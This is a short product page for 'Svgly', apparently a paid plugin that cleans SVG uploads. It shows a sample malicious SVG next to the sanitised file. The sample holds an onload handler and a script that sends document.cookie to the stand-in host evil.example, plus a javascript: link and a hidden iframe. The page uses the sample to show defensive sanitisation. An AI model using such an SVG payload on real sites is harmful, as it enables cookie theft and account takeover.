Svgly – Safe SVG Uploads
12,00 €Get Svgly
A real example: on the left, an SVG logo with hidden code, as it could be uploaded. On the right, the file Svgly saves, cleaned, and the logo it shows.
- SVG logos and icons in the Media Library.
- Scripts, event handlers and bad links removed.
- Proper previews and sizes.
- You choose who can upload SVG.
Uploaded file
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 120 40" onload="steal()"><script>fetch("//evil.example/?c="+document.cookie)</script><rect width="120" height="40" rx="8" fill="#4f46e5"/><a href="javascript:alert(1)"><text x="60" y="26" fill="#fff" text-anchor="middle" font-size="16">LOGO</text></a><foreignObject><iframe src="//evil.example"></iframe></foreignObject></svg>Saved in your Media Library
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 120 40"><rect width="120" height="40" rx="8" fill="#4f46e5"/><a><text x="60" y="26" fill="#fff" text-anchor="middle" font-size="16">LOGO</text></a></svg>
Removed: onload="" <script> href="" <foreignobject>